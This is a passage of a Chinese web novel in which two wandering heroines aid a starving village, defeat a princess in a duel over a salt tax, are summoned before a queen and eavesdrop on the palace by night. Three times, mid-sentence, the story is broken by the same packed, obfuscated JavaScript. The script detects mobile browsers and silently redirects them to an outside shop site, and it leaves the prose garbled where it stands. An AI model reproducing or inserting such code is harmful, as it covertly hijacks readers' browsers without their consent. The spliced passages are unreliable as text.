面前这个人,明明和自己差不多年纪,竟然有着如此坚韧的心境。她总是这样,要去关心所有人,想去保护所有人。 她越是关心其他人,卫寒苍就越是不满。为何所有人都可以得到她的目光、她的关心。但随着她想到,这些目光和关心里也有她的一份,卫寒苍也忍不住骄傲的挺起了胸膛。 最后,她往褚秋水那边又靠近了些,直到自己全部被对方的气息所包围,才满意地闭上双眼。 翌日清晨,天刚蒙蒙亮,村里人就开始一天的劳作了。 褚秋水是被外面公鸡打鸣的声音闹醒的。 她推开门,看见村民们已经开始了一天的忙碌——几个老人蹲在门口编着草筐,妇人们挑着木桶去村口的井里打水。孩子们光着脚丫子在土路上跑来跑去,追逐着一只瘦骨嶙峋的黄狗。 阳光从东边的山头探出来,给这个破败的村子镀上一层淡淡的金边。 褚秋水站在门口看了一会儿,忽然觉得心里有些发堵。 这些人,日子过得这么难,可还是在努力活着。 “醒得这么早?”身后传来卫寒苍的声音,带着点刚睡醒的沙哑。 褚秋水回头,看见他打着哈欠从屋里走出来,头发乱糟糟的,衣裳也皱巴巴的。 “你整理好了就快来帮忙。” 卫寒苍低头看了看自己的穿的衣服,丝绸做的褂子十分娇贵:“好歹等我换身衣服。” 褚秋水点点头,转身朝村子里走去。 村口的老槐树下,几个妇人正围在一起择野菜。褚秋水走过去,蹲下来看了看。 还是昨天那种苦菜和灰灰菜,叶子蔫蔫的,一看就是找了许久的。 “阿嫂,这菜怎么择?” 那个被叫做阿嫂的妇人抬头看她,愣了一下,随即露出有些拘谨的笑:“勇士……勇士怎么来这儿了?这活脏,别脏了您的手……” 褚秋水摆摆手,直接蹲下来,从筐里抓起一把野菜,学着她们的样子择了起来。 “我从小跟师傅在山里长大,什么活都干过,没那么金贵。” 妇人们面面相觑,一时不知该说什么。 卫寒苍也凑了过来,在她身边蹲下,抓起一把野菜看了看,皱起眉头:“这东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371602|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西能吃?” “怎么不能吃?”阿嫂连忙解释,“焯一遍水,加点醋,就……就能吃了。” 卫寒苍看着那把蔫巴巴的野菜,嘴角抽了抽,却没说什么,也跟着择了起来。 他择菜的动作生疏得很,不是把能吃的部分扔掉,就是把不能吃的部分留下。旁边的妇人看得着急,又不敢说,最后还是褚秋水看不下去了,一把拍掉他手里的菜。 “你是来帮忙的还是来添乱的?” 卫寒苍委屈巴巴地看着自己通红的指尖:“我这不是在学嘛……” “学着浪费粮食?” 旁边几个妇人看着他们斗嘴,忍不住笑出声来。气氛一下子轻快起来。 在她们的指导下,卫寒苍的择菜也有模有样起来。在和他们的交谈中,褚秋水得知,这位教得最细致的是周伯的儿媳,大家都叫她周嫂。 过了一会儿,她忽然开口:“周嫂,你们平时除了野菜,还吃什么?” 周嫂回忆到:“还能吃什么……地里收成不好,有时麦子种下去,收回来还没种子多。家里有点存粮的,就掺着野菜煮粥喝。没存粮的,就只能光吃野菜。” “山上可以打野物吗?” “有,但太少了。”周嫂摇头,“早年间还能见着些兔子狐狸,这几年,山上的野物也被打光了。” 褚秋水听了,有些沉默。 择完菜,她又去帮村里的老人劈柴。 那些柴都是枯树枝和干草,根本不禁烧,一捆柴扔进灶里,没一会儿就烧完了。 老人告诉她,以前有铁斧头的时候,能去山里砍大树,一棵树能烧好几个月。现在铁斧头被收走了,只能用石斧头,砍不动大树,只能捡些枯枝回来。 褚秋水听在耳里,记在心里。 卫寒苍也没闲着,被一群孩子围住了。 那些孩子瘦得像小猫,眼睛却亮晶晶的,围着他问东问西。 “姐姐,你从哪里来的?” “姐姐,你长得好漂亮啊。” “姐姐,你会讲故事吗?” 卫寒苍被他们吵得头疼,却又不好发作,只能蹲下来,耐着性子陪他们说话。 “我给你们讲个故事吧。”他说,“从前有只狐狸,特别会偷东西——” “卫寒苍!”褚秋水的声音从远处传来,“别教坏小孩子!” 卫寒苍撇撇嘴,换了个故事:“好吧好吧,讲个别的。从前有座山,山里有座庙,庙里有个老和尚——” “听过了听过了!”孩子们齐声抗议。 卫寒苍头疼地揉了揉太阳穴。 她堂堂盗圣,连大内皇宫都敢闯,竟然沦落到被一群小孩子挑剔,真是世风日下啊。 见卫寒苍吃瘪,褚秋水也是心情大好。 她忍不住凑过去,贱兮兮地说:“想不到你也有今天。” 卫寒苍哼了一声,没有说话。 褚秋水看这些孩子活泼好动,想起自己小时候也是这样。 那时师傅是怎么教自己的? 褚秋水回忆了一下,将师傅一以前教过的一些基础的修习之法交给了孩子们。 想不到他们学的还挺快,而且练习之后,连气色都好了许多。 卫寒苍在旁边啧啧称奇:“想不到你还有当老师的天赋。” “那是当然了,我干什么干不好。” 正闹着,村口忽然传来一阵嘈杂声。 8. 征盐 那声音来得突然,像是平静的水面被砸进一块石头——脚步声,马蹄声,呵斥声,还有孩子的哭声,混在一起,由远及近。 褚秋水见状,忙把孩子们都安排到安全的地方。卫寒苍也严肃起来,准备跟着褚秋水朝村口望去。 周围村民们也听到了那声音,脸上的表情瞬间变了。 妇人们抱起孩子,匆匆往屋里躲。老人们低下头,佝偻着背,装作什么都没听见。就连那些刚才还活蹦乱跳的孩子,也被大人一把拽进屋里,门板砰地关上。 刚才还热闹的村口,瞬间安静得像座坟墓。 只有那嘈杂声越来越近。 片刻后,一队人马出现在村口。 打头的是个年轻女子,骑着一匹枣红马,一身劲装,腰间佩剑,眉眼间带着一股与生俱来的矜贵气度。 只是她握缰绳的手势略显生疏,坐姿也过于板正,眼中还明显闪烁着新奇的光芒。 她身后跟着十几个兵卒,个个挎刀,面无表情。 那女子勒住马,目光扫过村子,发现无人在外迎接。她微微皱眉后,才吩咐身旁的随行官了几句话。 “这个月的盐怎么还没送去?” 盐?是官府来征盐的? 随行官打开门,一个老人颤颤巍巍地从屋里走出来,正是周伯。 他躬着身子,脸上堆着讨好的笑:“回……回禀大人,这个月实在……实在是凑不齐……” “凑不齐?”那女子眉毛一挑,“上个月就欠着,这个月还说凑不齐?你们当——” 她顿了顿,似乎在回忆什么,然后飞快地接上:“——当苏眦的律法是摆设?” 周伯扑通一声跪下了。 “大人息怒,大人息怒!实在是村里没有盐了,我们自己都……” “没有盐?”那女子微微倾身,语气里带着几分困惑,“怎么会没有盐?王庭每月征盐都有过计算,保证每户都有盐用,账目上一清二楚。你们若是没领到,该去上报才是。” 周伯愣住了,张了张嘴,却说不出话来。 褚秋水在一旁听着,眉头渐渐皱了起来。 这姑娘……怎么说话像个书呆子? 那女子见周伯不说话,便挥了挥手,身后的兵卒立刻冲进村子,挨家挨户踹开门,翻箱倒柜地搜了起来。 哭声、求饶声、东西摔碎的声音,瞬间响成一片。 那女子骑在马上,看着这一切,脸上流露出些许不忍。 她看着那些哭喊的百姓,嘴唇微微动了动,身边的随行官员立刻上前和她说了什么,她皱着的眉头才松懈下来。 褚秋水的拳头握紧了。 她刚想动,一只手忽然按住了她的胳膊。 卫寒苍看着她,轻轻摇了摇头。 “再等等。”他用只有两人能听见的声音说,“对面披甲士兵至少有二十位。” 褚秋水深吸一口气,强迫自己站在原地。 那女子骑在马上,有些无聊地四处张望。 她看着那些漏风的墙、破洞的屋顶、瘦得皮包骨的孩子们,眼神有些闪烁。 忽然,她的目光定住了。 她看见了褚秋水。 更准确地说,她看见了褚秋水背后那把比人还高的大剑。 “你是谁?”那女子骑马上前,盯着褚秋水,做出了肯定的判断,“你不是这个村子的人。” 周围士兵立马跟上,有些士兵的刀已出鞘。 褚秋水没说话,只是静静地看着她。 那女子的目光又落到卫寒苍身上,上上下下打量了一番,眼里闪过一丝好奇。 “有意思。”她翻身下马,落地时还微微晃了晃,随后抬手拦住了还想跟上来的士兵。 “我问你们话呢,”她在褚秋水面前站定,仰头看着她——她比褚秋水矮了半头,却努力挺直脊背,一副公事公办的样子,“请回答。” 褚秋水低头看着她。 近处看,这女子生得很是好看,眉眼精致,皮肤白净,一看就是养尊处优长大的。 她的眼睛里没有那种习惯性的傲慢,反而带着一股认真的劲头。像是在执行一项重要的任务,生怕出错。 “我们是过路的。”褚秋水终于开口,声音平静。 “过路的?”那女子微微偏头,“过路的怎么跑到这乡下来了?” “迷路了。” 那女子盯着她看了一会儿,忽然问:“你背的这是剑?” “是。” “这么大?”她比划了一下,眼里闪过一丝惊讶,“怎么用?” 褚秋水沉默了一瞬,觉得这姑娘有点奇怪。她决定跳过这个问题。 “你到底是来干什么的?”褚秋水问。 那女子像是被提醒了,连忙板起脸:“征盐。你们是外乡人,按律法,可以不向你们征。但我要问你们——你们可有凭证?” “没有。” “那你们得跟我回王庭登记。” 褚秋水看着她,忽然开口:“你征盐,是为了什么?” 那女子一愣:“什么?” “盐征上去,用来做什么?” “自然是……”那女子张口就来,“充实国库,保障民生,维护王庭运转。” “那百姓呢?”褚秋水指了指那些被翻得乱七八糟的屋子,“他们没有盐,活不下去,你知道吗?” 那女子眉头皱了起来:“怎么会没有盐?每户每月定额配给,我亲自核过账目的。” “账目是账目,现实是现实。”褚秋水看着她,“你下来看过了,你觉得他们像是有盐的样子吗?” 那女子有些沉默。 她转过头,看着那些瘦弱的村民,看着那些空荡荡的屋子,看着那些因为恐惧而瑟缩的眼神。 过了好一会儿,她才轻声说:“可是……律法规定……” “律法是为了让人活得好,不是为了把人逼到绝处。” 那女子猛地转过头,盯着褚秋水,目光里有了几分锐利:“你在质疑王法?” “我在说事实。” 两人对视着,谁也不肯退让。 周围的兵卒和村民都安静下来,看着她们。 半晌,那女子忽然笑了。 那笑容里带着点赌气的意味:“好,你说我不对,那你告诉我,什么是对的?” “我目前还不知道。”褚秋水坦然道,“但我知道,你现在这样做不对。” “那怎么办?”那女子扬起下巴,“难道我们在这儿辩到天黑?” 褚秋水想了想,忽然说:“打一架吧。” 那女子愣住了:“什么?” “打一架。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371603|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褚秋水说,“你赢了,我听你的,跟你回王庭登记。我赢了,你免了这几次的盐,回去好好想想,到底什么才是对的。” 那女子瞪大眼睛看着她,像是听到了什么不可思议的话。 “你……你要和我打?” “对,怎么,你不敢?” 那女子脸涨红了。 她从小在宫里长大,学的是治国之道,背的是典章律法,骑射武艺虽然也练过,但都是跟教习在演武场上比划,从来没有真正跟人动过手。 可现在,这个外乡人,当着这么多人的面,问她“不敢”? “打就打!”她一扬下巴,手按上剑柄,“谁怕谁!” 周围的人都惊住了。 那些兵卒想上前阻拦,却被她一挥手制止:“退下!这是命令!” 褚秋水看着她,眼里闪过一丝欣赏。 这姑娘,性格倒是够意思。 她拔出大剑,往后退了两步,摆出起势。 那女子也拔出剑来——是一把精致的轻剑,剑身细长,寒光凛凛,一看就是好剑。只是握剑的姿势标准,感觉缺少实战。 两人对峙片刻。 那女子先动了。 她一剑刺来,剑法倒是精妙,一招一式都有来历,只是——太慢了。每一招之间都有停顿,像是在等对方接招,又像是在回忆下一招该是什么。 褚秋水侧身让过,大剑轻轻一拍,就把她的剑荡开。 那女子踉跄了一步,稳住身形,又刺了过来。 这回更快了些,但还是…… 褚秋水摇摇头,大剑横拍,直接把她连人带剑拍退了三步。 那女子稳住身形,咬了咬牙,又冲上来。 如此三次。 第四次的时候,褚秋水没有再拍开她,而是架住她的剑,轻轻一挑——那女子的剑脱手飞出,插在地上,嗡嗡作响。 那女子愣住了。 她低头看着自己空空的双手,又看了看地上的剑,满脸的不可置信。 “你……你怎么……” “你的剑法很好。”褚秋水收剑入背,认真地说,“但那是练出来的,不是打出来的。” 那女子呆呆地看着她。 “你回去好好想想吧。”褚秋水转身要走。 “等等。”那女子忽然开口。 褚秋水回头。 那女子咬了咬嘴唇,像是下了很大决心,闷声道:“我……我输了。这几次的盐,免了。” 周围的兵卒面面相觑,有人想说什么,却被她一眼瞪了回去。 “我说话算话。”她扬起下巴,努力维持着最后的尊严,“你叫什么?” “褚秋水。” “褚秋水。”她重复了一遍,点点头,“我记住你了。” 她转身,朝自己的马走去。 就在这时—— 远处传来一阵急促的马蹄声。 所有人都循声望去。 一匹快马从官道尽头疾驰而来,马上的信使高举着一卷帛书,声音远远传来—— “王令——!女王陛下王令——!” 那女子脸色微变,停住了脚步。 信使勒马停下,翻身下马,单膝跪地,双手奉上帛书。 “禀郡主,女王急令,请您和您的朋友速速回宫!” 9. 王令 “朋友?”华兰泽有些迷惑,眼神飘忽不定,直到目光扫到褚秋水脸上,才反应过来,耳尖染上绯红,“她才不是我的朋友!” 传令官面无表情,没有辩驳的意图,只是又重复了一遍女王的召令。 这下,在场所有人的目光都集中在褚秋水身上。 褚秋水原本准备等华兰泽他们离开后,去找周伯谈谈,但现在这种场面,也不容她抽身了。 她冲卫寒苍眨眨眼。 卫寒苍立马会意,施施然走上前来。 这几天两人配合越来越默契,有些情况下只需一个眼神,就能明白对方的意思。 卫寒苍走到传令官面前,笑眯眯地拱了拱手:“请问这位大人,王令里有点名是让我们两个去吗?” 她问得随意,语气里还带着点受宠若惊的味道。 褚秋水趁着这一会,心里在快速盘算。 想必,她们掉落到这个世界的第一天就被人盯上了,这几天在村子里的活动估计也瞒不住王庭的眼线。 那种荒僻的小村,忽然出现两个陌生人,还背着那么显眼的大剑,不被盯上才怪。 只希望不要连累村里无辜之人。 她在人群中搜索一番,看到了这几天一起相处过的村民,大家正眼巴巴地望着她,那眼神让她心里一酸。 传令官没想到卫寒苍有这么一问,迟疑了一下才道:“陛下的意思……就是请郡主和两位一同去往宫中。” 这话说得含糊,既没说是点名,也没说不是点名。 卫寒苍却像是得到了想要的答案,笑着点头:“既然如此,我等自当从命。只是还有些衣物落在借宿的小屋里,请给我们一点时间收拾一下。” 他说着,顿了顿,语气里带上恰到好处的羞涩,“毕竟是去见女王陛下,总得换身干净衣裳,免得失礼。” 传令官显得有些为难,他看向了华兰泽。 华兰泽刚才被那句“朋友”闹得还有些不自在,此刻正板着脸,努力装作什么都没发生过的样子。见传令官看她,当即拍板:“难道收拾衣服的时间都不留给客人们吗?未免太失礼了。” 她说着,看了褚秋水一眼,又飞快地移开视线。 “是是是……”传令官连声应着,不敢再多言。 就这样,两人在所有人的注视下,回到了她们昨天借宿的小屋。 一关上门,褚秋水就靠在门板上,长长地吐了口气。 “你怎么看?” “我站着看。” 卫寒苍走到窗边,透过破洞的窗纸往外看了一眼。那些兵卒还守在院子外面,不远不近的,既不妨碍她们收拾,也不给她们溜走的机会。 “看来这王宫是非去不可了。”她说着,语气轻飘飘的。 两人对视一眼,都从对方眼里看到了相同的念头—— 这趟进宫,怕是没那么简单。 “收拾吧。”褚秋水直起身,“既然是‘请’咱们去,那就去会会那位女王。” 卫寒苍笑了:“你不怕?” “怕什么?”褚秋水拿起靠在墙边的大剑,“有剑在手,怕她还能吃了我不成?” 卫寒苍听了,整个人仿若小迷妹一样看着她。 “哇喔~姐姐好威武。” “少贫嘴。”褚秋水下意识回了一句,随即感觉自己语调有些生硬,又补上一句,“你我此次务必小心行事。” 两句话说完,她们把东西也收拾好了。外面的传令官早就不等得耐烦了,看见她们出来,立刻领着她们上了马车。 王宫比想象中更近,越靠近王城中心,就越是繁华。这就是褚秋水沿路的感觉。 马车行了不到半个时辰,巍峨的宫墙就出现在视野里。墙是青灰色的石砖砌成,高约三丈,墙头有士兵来回巡逻,甲胄在阳光下闪着冷冷的光。越靠近王宫,路上行人都穿着就越好。 宫门大开,马车径直驶入。 褚秋水掀开车帘一角,往外看去——宫道宽阔平整,两旁种着不知名的花树,花开得正好,粉白一片,有宫女内侍穿行其间,脚步匆匆,却井然有序。 单看宫内,倒真个太平盛世。 可褚秋水忘不了那些村民的脸,忘不了那些瘦得皮包骨的孩子,忘不了那些被搜刮一空的屋子。 马车在一座殿前停下。 传令官在外道:“两位,请下车。” 褚秋水背好剑,掀帘而出。卫寒苍跟在她身旁,面上依旧带着那副人畜无害的笑。 殿门大开,里面隐隐有乐声传来。 华兰泽已经在门口等着了。见她们下车,她板着脸走过来,压低声音飞快地说了一句:“母后问什么,你们就答什么,别乱说话。” 然后不等他们回应,就转身大步往殿内走去,只留下一个挺得笔直的背影。 褚秋水与卫寒苍对视一眼,跟了上去。 殿内很宽敞,铺着暗红色的毡毯,两侧立着鎏金灯树,烛火明亮。尽头处是一座高台,台上设着御座,一个女子端坐其上。 那女子看起来四五十许人,面容与华兰泽有七八分相似,却多了几分岁月沉淀的雍容与威仪。她穿着一袭玄色长袍,袍上绣着暗金色的纹路,长发高高挽起,戴着一顶样式古朴的王冠。 这就是女王吗。 褚秋水停下脚步,微微躬身行礼,态度是她一贯的不卑不亢。 卫寒苍也躬身行礼,姿态比她还标准几分。 华兰泽快步走到御座旁,站定,目光却时不时往褚秋水这边飘。 女王看了她一眼,那目光很淡,却让华兰泽瞬间收敛了神色,垂下眼去。 “兰泽,你先下去吧。”女王淡淡地说。 华兰泽一愣:“母皇?” “我要与这两位客人单独说说话,你先去休息。” 华兰泽张了张嘴,还想再说些什么,却被女王的目光一扫,只得低头行礼,转身离去。 走过褚秋水身边时,她脚步顿了顿,像是想说什么,却终究没有说出口,只是低着头快步走了出去。 殿门在她身后缓缓合上。 殿内只剩下三个人。 女王坐在御座上,居高临下地看着她们,没有说话。 褚秋水也跟着沉默。 气氛一时间有些压抑。 过了不知多久,女王忽然笑了。 那笑声很淡,淡得让人不敢肆意揣摩,听不出什么情绪。 “你们不是苏眦的人。”她说,声音不高,却清清楚楚地传遍整个大殿,“你们从哪里来?” 褚秋水正要开口,女王却抬手制止了她。 “别急着编。”她说,“朕活了几十年,真假话还是听得出来的。” 褚秋水抿抿唇。 她快速扫了一眼卫寒苍,卫寒苍微不可查地摇了摇头,示意让她来。 “怎么?”女王微微倾身,目光在两人身上来回扫过,“还没编好?” “陛下慧眼。”卫寒苍恭敬开口,笑容恰到好处,“我们的确不是苏眦人,是从很远的地方来的。” “很远?”女王挑眉,“有多远?” “远到……”卫寒苍顿了顿,“说出来陛下可能不信。” “说来听听。” 卫寒苍看了褚秋水一眼,然后坦然道:“我们是从祭坛里掉下来的。” 殿内安静了一瞬。 女王的表情没有任何变化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371604|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是目光微微闪了闪。 “祭坛?”她重复道,“哪个祭坛?” “就是城外那个,几十年无人问津的古祭坛。”卫寒苍说得云淡风轻,“我们本来在赶路,不知怎么就掉了进去,醒来就在那个村子里了。” 女王盯着他看了一会儿,忽然笑了。 “有意思。”她说,“那祭坛荒废多年,你们说自己是从里面掉出来的。这倒是巧得很。” “谁说不是呢。”卫寒苍附和着笑,笑容里满是诚恳。 女王的目光转向褚秋水:“你呢?也不说句话?” 褚秋水迎上她的目光,坦然道:“她说的都是实话,我没什么好补充的。” 女王沉默了片刻,忽然问:“你们在村子里住了几天,都做了些什么?” “帮村民干活。”褚秋水答,“劈柴,择菜,陪孩子玩。” “就这些?” “就这些。” 女王又笑了。 这一次,那笑容里多了一点别的东西。是审视,是评估,又或者是别的什么。 “朕听说,”她慢慢道,“你跟兰泽打了一架?” 褚秋水迟疑了一会,点点头。 “还打赢了。”女王补充道,语气里听不出喜怒。 “是郡主留手了。”褚秋水说。 “留手?”女王轻笑了一声,“兰泽那孩子,朕最清楚。她从小到大,就没吃过亏。能让她‘留手’的人,可不多。” 她顿了顿,目光落在褚秋水空荡的背后上。 “听说,你有一把剑。” 褚秋水沉默了一瞬,然后点点头。 金殿之上,不可持刀披甲,这一点她还是懂的。所以来之前就把大剑收在储物戒中了。 “拿来,让朕看看。” 既然是女王主动提的,那褚秋水也没有拒绝的理由。 大剑出鞘,寒光凛凛。她没有运任何灵力,只是平举着剑,纹丝不动。 女王看着那把剑,眼里终于有了一丝变化。那是真正的惊讶,不是装出来的。 “好力气,好胆识。”她赞了一声,“朕许你以后可以在宫中佩剑。” 褚秋水谢恩后,收剑入背,等着女王的下一句话。 寒暄都寒暄得差不多了,马上要到对方的真实意图了。 果然,女王开口道:“朕想要你们留下。” 褚秋水一愣,还没等她回话,女王的声音又响起来了。 “朕准备封你们为官。宫中缺几个能打的,你们正好合适。” 她说得随意,像是在说今天天气不错。 褚秋水与卫寒苍对视一眼。 “陛下厚爱,我等惶恐。”卫寒苍开口,语气恭敬依旧,“只是我们两个散漫惯了,怕是当不好官。” “当不好?”女王微微倾身,“还是不想当?” 卫寒苍笑了笑,没有说话。 女王看着他们,目光渐渐深沉。 她张了张嘴,想说什么,忽然,她的眼神恍惚了一瞬。 那变化极快,快到褚秋水几乎以为是自己的错觉。可那一瞬间,她清楚地看见,女王眼底有什么不同寻常的东西一闪而过。 然后,一切恢复正常。 女王揉了揉额角,再抬起头时,脸上又恢复了那副雍容淡定的模样。 “既然你们不愿意,”她说,“那就在宫里住几日吧。兰泽那孩子难得遇到个能打赢她的人,让她多讨教讨教。” 这话说得客气,却是没有商量余地的。 褚秋水听了,只是微微躬身:“多谢陛下。” 卫寒苍也躬身行礼。 女王摆摆手,示意他们退下。 10. 夜访宫闱 经过一整天的折腾,两人也确实累了。 回到女王为她们准备的宫殿中,两人洗漱修整完,就双双凑到拔步床上。 掀开薄如蝉翼的纱帐,迎面就是蓬松软和的床垫。 褚秋水把自己整个人都摔进床里,扑腾着打了几个滚。今天一天的疲惫都在此刻释放。 爽爽爽! 果然,床才是人类最好的伙伴。 见她湿着头发就躺在床上,卫寒苍连忙催着她。 “快起来,头发还没干就上去了。过来,我帮你把头发拧了。” 褚秋水有些舍不得这张床,如果可以的话,她真想和床处一辈子。床铺身高八尺有余,而温暖柔和。而且,床对于她的各种抱怨劳累都是全盘接受,没有比床更好的对象了。 但现在,她不能忽视卫寒苍即将喷发的怒火,只能赶在她直呼自己的大名之前,磨磨蹭蹭地凑过去。 卫寒苍的脸这才晴转多云,熟练地拿着帕子,一点一点开始拧干。 褚秋水枕在卫寒苍膝上,什么也做不了。眼睛无聊地四处乱转,最终无聊到开始数她头上的珍珠玩。 褚秋水的目光落在那些珍珠上。 一颗,两颗,三颗…… 卫寒苍今日戴的是一对珍珠耳坠,不大却圆润饱满,在烛光下泛着温润的光泽。 她数完耳坠,又开始数发间的珠钗——那钗头镶着一颗莲子米大小的珍珠,旁边还缀着几颗更小的,像星星围着月亮。 “数什么呢?”卫寒苍的声音从头顶传来,带着点笑意和期待。 “数你头上的珍珠。”褚秋水老实答道,“有好几颗,你怎么这么喜欢戴珍珠?” 卫寒苍手上动作不停,语气却是柔柔的:“好看呀。” 褚秋水“哦”了一声,继续数。 数完了珍珠,她的目光又开始乱飘了,从珍珠移到对方的耳垂,又移到侧脸,最后落在她低垂的睫毛上。 烛光在他脸上投下淡淡的阴影,那睫毛一颤一颤的,像蝴蝶的翅膀。 褚秋水发现,卫寒苍生得确实好看。 “数完了?”卫寒苍低头看她。 两人目光撞个正着。 褚秋水果断点点头:“数完了,你擦干了吗,我有些无聊。” 原本,在对方长久的注视下,卫寒苍的脸难得的红透了,看向对方的目光也是含羞带怯。但现在听到褚秋水坦荡的话,他的脸瞬间垮了,连语气都比往常平淡了许多。 “擦完了。” 褚秋水没注意到对方情绪的变化。 因为待着无聊,她突然灵光一闪,想到了个好点子,拉着面色微霁的卫寒苍凑得更近了些。 “寒苍,你不是轻功了得的盗圣吗,我们今晚去掀人家房瓦吧。” 褚秋水眼睛亮晶晶的,像只发现了新玩具的小猫。 卫寒苍看着她这副模样,方才那点被冷落的情绪还没来得及发酵,就被她一爪子拍散了。 他叹了口气,嘴角却忍不住微微扬起语气却依旧冷淡:“你是真不怕死。” “怕什么?”褚秋水理直气壮,“有你在,掀个瓦片还能被抓?” 卫寒苍被她这话堵得没脾气。 “行吧。”他认命地起身,“想去哪家?” “先去华兰泽的宫殿看看。”褚秋水已经开始往外走了,“她住的离我们近一点,从她那里去女王寝宫也是顺路的。” 卫寒苍跟在她身后,目光落在她还有点湿漉漉的头发上。 刚才被她看得心猿意马,心思没太在手里的毛巾上,全在思索自己今晚发髻有没有歪、妆面有没有不妥上了,导致她的头发都还没完全擦好。她想说什么,又怕多说了什么,索性把话咽了回去。 反正等会儿吹吹风就干了。 两人换了身黑衣,悄无声息地潜出寝殿。 卫寒苍的轻功确实了得,边指点褚秋水边走,居然还能在屋顶上如履平地。月光下,两道身影掠过重重殿宇,衣袂翻飞,像两只夜行的鸦。 “那边。”卫寒苍指了指不远处一座灯火通明的宫殿,“应该是那个郡主的寝宫。” 褚秋水顺着他指的方向看去。 那宫殿比周围都亮堂些,门窗紧闭,却隐约有光从缝隙里透出来。 两人悄无声息地落在屋顶上。卫寒苍熟练地掀开一片瓦,俯身看去。 褚秋水随口一问:“你怎么熟练,不会经常这样干吧。” “……你到底来不来看。” “来来来。” 褚秋水忙凑过来,两人脑袋挨着脑袋,一起往下看。 屋内,华兰泽正坐在书案前。 她换下了白天的劲装,穿着一身月白色的寝衣,长发披散下来,衬得那张脸少了几分白日的锐气,多了几分少女的柔和。 按理来说,寝宫是放松的地方,桌案前的少女此刻却带着些纠结的表情。 她手里攥着个东西,翻来覆去地看,眉头一会儿皱起,一会儿松开,嘴还时不时嘟囔两句。 “这是在干嘛呢……”褚秋水小声嘀咕着,有点猜不透她在干嘛。 卫寒苍也没说话,只是眯起眼,试图看清她手里拿的是什么。 华兰泽忽然叹了口气,把手里的东西举起来,对着烛光端详。 是个香囊。 鹅黄色的底子,绣着几片竹叶,针脚不算太精致,但看得出是用心做的。 华兰泽看着那香囊,脸上忽然浮现出一抹傻笑,随即又像被自己吓到一样,飞快地把笑容收起来,换成一副严肃的表情。 “不行不行,你清醒一点。”她对着香囊自言自语,“她这个人凶巴巴的,到底有什么好的……” 华兰泽在说谁啊。 此刻,意识到有八卦听的褚秋水格外聚精会神,恨不得再有千双眼睛千双耳朵替她了解下面的情景。 “而且她还,她还敢当着那么多人让我丢脸……”华兰泽继续自言自语,语气里带着点控诉,“啊啊啊,好可恶的人!” 她说着,狠狠地把香囊拍在桌上。 只过了两息,她又忍不住小心翼翼地把香囊拿起来,轻轻抚平上面根本不存在的褶皱。 看见她这样,褚秋水更加好奇华兰泽口中的人是谁了,浑然未觉身旁人越来越阴沉的表情。 “可是,”她的声音低到几乎听不见,还带着点自己都没察觉的委屈,“她也挺不错的……” 在上面什么也听不见的褚秋水急得恨不得直接蹦下去。 卫寒苍看着急得上蹿下不能跳的褚秋水,忽然有点想笑。 这傻子。 “我们还听吗,她好像要睡了。”褚秋水压低声音问。 卫寒苍看着她,目光里带着点无奈,又带着点说不清的东西:“走吧,去下一站。” 两人悄无声息地把瓦片盖回去,退到远处。 “走吧。”卫寒苍说,语气听不出喜怒。 褚秋水看了她一眼,意识到对方的情绪有点不对劲:“你好像不太高兴?” “有吗?”卫寒苍释怀地笑了笑,“我只是在想,傻人有傻福的故事。” 褚秋水感觉她今天晚上有点怪怪的,可能是心情不太美妙,所以也就默修闭嘴禅了。 女王寝宫比华兰泽的宫殿更气派,也更高。屋顶铺着琉璃瓦,在月光下泛着幽幽的光。 卫寒苍选了个合适的位置,轻轻掀开一片瓦。 屋里灯火通明,却比华兰泽那边安静得多。 女王华希音端坐在书案前,手里拿着一卷帛书,似乎在批阅什么。 “陛下。” 一个声音忽然响起。 褚秋水把耳朵竖起来了,这屋里可比华兰泽那边热闹。 她顺着声音看去,这才发现书案对面的阴影里,站着一个人。 那人站在暗处,看不出面容,只能隐约感觉出来身形修长。 女王没有抬头,依旧看着手里的帛书:“说。” 那人往前走了两步,烛光照亮了他的脸——约莫三十岁,剑眉星目,面白无须。他身上穿的不是褚秋水她们见过的官服形制,倒更像是……祭典用的礼服。 那人上前,把手轻轻搭在女王肩上,为她按摩起来。 女王的眉头也随之舒展,看得出来两人配合默契,应该是相熟已久了。 “陛下,臣斗胆,还是想劝您一句。”他开口,声音低沉,“那股力量,您真的不考虑吗?” 女王终于抬起头,目光落在他脸上。 “不考虑。”她说,声音平静,却带着不容置疑的威严,“这个问题,朕回答过你很多次了。” 那人却没有退缩,反而上前一步:“可是陛下,有了那股力量,您 